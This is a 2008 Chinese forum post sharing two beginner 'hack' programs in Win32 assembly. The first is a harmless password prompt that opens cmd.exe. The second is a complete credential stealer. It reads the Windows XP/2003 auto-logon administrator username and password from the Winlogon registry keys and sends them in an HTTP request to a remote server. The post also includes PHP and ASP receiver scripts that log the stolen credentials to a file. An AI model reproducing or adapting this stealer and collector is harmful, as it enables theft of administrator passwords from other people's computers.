偶写的两个hack编程入门程序(win32汇编)
*/ --------------------------------------------------------------------------------------*/ 出自: 编程中国 https://www.bccn.net
*/ 作者: zklhp E-mail:zklhp@ QQ:493165744
*/ 时间: 2008-7-11 编程论坛首发
*/ 声明: 尊重作者劳动,转载请保留本段文字
*/ --------------------------------------------------------------------------------------
在网上看到两个 hack编程入门的程序 用汇编写了一下 贴出来请各位指点一下
第一个
功能:程序运行后提示输入对话框输入一个密码
密码正确运行CMD程序,密码不正确继续运行!
文件越小越好 提示使用winmain函数 动态创建文本窗体 处理按键消息
参考delphi 7代码:
program Project1;
uses
SysUtils, Windows, Dialogs ;
{$R *.res}
begin
if mystr=inputbox('please input pass','what is password?','') then
begin
WinExec(PChar('cmd.exe'), SW_SHOWDEFAULT);
end;
end.
既然要小 就得用汇编啦~~
;MASMPlus 代码模板 - 以对话框做为主窗口的程序
;*********************************************************
;为了让文件更小
;进行了快合并(貌似.rsrc不能合 呵呵)
;字符串直接放在 .code 里
;对齐是32(在偶的xp上可以执行的)
;/ALIGN:32 /SECTION:.text,RW /MERGE:.rdata=.text
;by zklhp Email:zklhp@
;*********************************************************
.386
.Model Flat, StdCall
Option Casemap :None
Include windows.inc
Include user32.inc
Include kernel32.inc
;Include gdi32.inc
include Dialog.inc
;includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib
include macro.asm
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
.CODE
szPass db 'enter',0
szCmd db 'cmd.exe',0
szError db '密码错误,正确的是 enter',0
hInstance dd ?
szBuffer db 16d dup(?)
START:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_MAIN,0,offset DlgProc,0
invoke ExitProcess,0
DlgProc proc hWnd,uMsg,wParam,lParam
.if uMsg==WM_INITDIALOG
invoke LoadIcon,hInstance,100
invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,eax
invoke RtlZeroMemory,offset szBuffer,16d
invoke SendDlgItemMessage,hWnd,IDC_EDT1,EM_LIMITTEXT,15d,NULL
invoke SetDlgItemText,hWnd,IDC_EDT1,addr szBuffer
.elseif uMsg==WM_COMMAND
mov eax,wParam
and eax,0ffffh
.if eax==IDOK
invoke SendMessage,hWnd,WM_COMMAND,1003d,0
.elseif eax==IDCANCEL
invoke SendMessage,hWnd,WM_CLOSE,0,0
.elseif eax==IDC_EXIT
invoke SendMessage,hWnd,WM_CLOSE,0,0
.elseif eax==IDC_OK
invoke GetDlgItemText,hWnd,IDC_EDT1,addr szBuffer,15d
.if eax > 0
invoke lstrcmp,offset szBuffer,offset szPass
.if eax==0
invoke WinExec,offset szCmd,SW_NORMAL
invoke SendMessage,hWnd,WM_INITDIALOG,0,0
.else
invoke MessageBox,hWnd,offset szError,0,0
invoke SendMessage,hWnd,WM_INITDIALOG,0,0
.endif
.endif
.endif
.elseif uMsg==WM_CLOSE
invoke EndDialog,hWnd,wParam
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp
END START
第一个很简单 第二个比第一个麻烦点
功能:读取windows xp系统里自动登录的管理员用户名和密码,并发送到http://里
接收参数?username=username&password=password
语言:不限制
程序越小越好提示:自动登陆的注册表设置是这样的:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon
“AutoAdminLogon”,值设为“1”字符串值“DefaultPassword”,登录时的密码,字符串值:“DefaultUserName”,用户名
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon
xp的
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
这是2003的
post数据接收文件PHP代码
<?
$username = $_POST[username];
$password = $_POST[password];
if(($username!="")&&($password!=""))
{
file_put_contents("pass.txt","username:$username;password:$password\n\r",FILE_APPEND);
}
?>
post数据接收文件ASP代码
<%
dim username,password
username=request("username")
password=request("password")
if username<>"" and password<>"" then
set myfso=server.CreateObject("Scripting.FileSystemObject")
set mytxt=myfso.OpenTextFile(server.mappath("2.txt"),8,true)
mytxt.WriteLine("username:"+username+",password:"+password)
mytxt.close
end if
%>
;MASMPlus 代码模板 - 以对话框做为主窗口的程序
;*********************************************************
;和上一个一样 /ALIGN:32 /SECTION:.text,RW /MERGE:.rdata=.text
;by zklhp Email:zklhp@
;*********************************************************
.386
.Model Flat, StdCall
Option Casemap :None
Include windows.inc
Include user32.inc
Include kernel32.inc
;Include gdi32.inc
include WS2_32.inc
include Advapi32.inc
includelib Advapi32.lib
includelib WS2_32.lib
;includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib
include macro.asm
.CODE
;为节省空间 数据放在代码段里
szUserName db 32 dup(0)
szPassword db 32 dup(0)
szFormat db 'POST /hack.php?username=%s&password=%s HTTP/1.1',0dh,0ah,0
szBuf db 'Accept: */*',0dh,0ah,\
'Accept-Language: zh-cn',0dh,0ah,\
'Accept-Encoding: gzip, deflate',0dh,0ah,\
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0dh,0ah,\
'Host: ',0dh,0ah,\
'Connection: Keep-Alive',0dh,0ah,0
szHostName db '',0
szKey_2003 db 'Software\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szKey_xp db 'Software\Microsoft\Windows\CurrentVersion\Winlogon',0
szKeyName db 'DefaultUserName',0
szKeyPass db 'DefaultPassword',0
_RegQueryValue proc _lpszKey,_lpszValueName,_lpszValue,_lpdwSize,_lpdwType
local @hKey,@dwReturn
mov @dwReturn,-1
invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,_lpszKey,NULL,KEY_QUERY_VALUE,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegQueryValueEx,@hKey,_lpszValueName,NULL,_lpdwType,_lpszValue,_lpdwSize
mov @dwReturn,eax
invoke RegCloseKey,@hKey
.endif
mov eax,@dwReturn
ret
_RegQueryValue endp
_Send proc uses edi esi ebx ,_lpUserName,_lpPassword
local @stWsa:WSADATA,@stSin:sockaddr_in,@hSocket:DWORD
local @szBuffer[300h]:BYTE ;放在堆栈里
invoke RtlZeroMemory,addr @stWsa,sizeof @stWsa
invoke RtlZeroMemory,addr @stSin,sizeof @stSin
invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
invoke wsprintf,addr @szBuffer,offset szFormat,_lpUserName,_lpPassword
invoke lstrcat,addr @szBuffer,offset szBuf
invoke WSAStartup, 0002h, addr @stWsa
invoke socket, AF_INET, SOCK_STREAM, 0
.if eax != INVALID_SOCKET
mov @hSocket, eax
mov @stSin.sin_family,AF_INET
invoke htons,80
mov @stSin.sin_port,ax
invoke gethostbyname,addr szHostName
.if eax
mov eax, [eax + hostent.h_list]
mov eax, [eax]
mov eax, [eax]
mov @stSin.sin_addr, eax
.endif
invoke connect,@hSocket,addr @stSin,sizeof @stSin
invoke lstrlen,addr @szBuffer
invoke send,@hSocket,addr @szBuffer,eax,0
invoke closesocket,@hSocket
.endif
invoke WSACleanup
ret
_Send endp
START:
;为节省空间 在堆栈里放数据(貌似省不了多少……)
mov eax,32
push eax
push eax
mov ebx,esp
lea edi,[esp+4h] ;ebx edi edi 会被保护 一般不会变的
;为了使程序简化 就不判断操作系统的版本了 呵呵
invoke _RegQueryValue,offset szKey_2003,offset szKeyName,offset szUserName,ebx,edi
mov ecx,[ebx]
;会在ebx指向的内存里返回写入的大小 防止出现长度为1的情况 但密码为空的情况呢 不知道这种情况该不该发
.if eax == ERROR_SUCCESS && ecx != 1
invoke _RegQueryValue,offset szKey_2003,offset szKeyPass,offset szPassword,ebx,edi
mov ecx,[ebx]
.if eax == ERROR_SUCCESS && ecx != 1
;又有帐号 又有密码 发送!
;int 3h
invoke _Send,offset szUserName,offset szPassword
jmp @Exit
.endif
.endif
invoke _RegQueryValue,offset szKey_xp,offset szKeyName,offset szUserName,ebx,edi
mov ecx,[ebx]
;会在ebx指向的内存里返回写入的大小 防止出现长度为1的情况 但密码为空的情况呢 不知道这种情况该不该发
.if eax == ERROR_SUCCESS && ecx != 1
invoke _RegQueryValue,offset szKey_xp,offset szKeyPass,offset szPassword,ebx,edi
mov ecx,[ebx]
.if eax == ERROR_SUCCESS && ecx != 1
;又有帐号 又有密码 发送!
invoke _Send,offset szUserName,offset szPassword
jmp @Exit
.endif
.endif
@Exit:
;恢复堆栈 退出
pop eax
pop eax
invoke ExitProcess,0
END START
就是第二个没法验证对错 还望各位高手指点
两个程序都是用masmplus写的 在偶的xp上运行正常
Project.rar
(11.12 KB)
[[it] 本帖最后由 zklhp 于 2008-8-6 13:52 编辑 [/it]]